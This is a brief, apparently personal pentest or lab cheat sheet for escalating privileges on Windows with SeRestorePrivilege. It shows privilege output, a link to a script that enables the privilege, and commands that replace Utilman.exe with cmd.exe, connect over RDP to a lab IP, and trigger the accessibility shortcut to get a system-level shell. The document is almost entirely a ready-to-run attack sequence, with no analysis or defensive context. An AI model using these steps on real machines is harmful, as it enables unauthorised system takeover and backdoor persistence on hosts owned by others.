SeRestorePrivilege

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeRestorePrivilege            Restore files and directories  Enabled

https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1

.\EnableSeRestorePrivilege.ps1

ren C:\Windows\System32\Utilman.exe C:\Windows\System32\Utilman.pwned
ren C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

rdesktop 192.168.241.165

Hit Win + U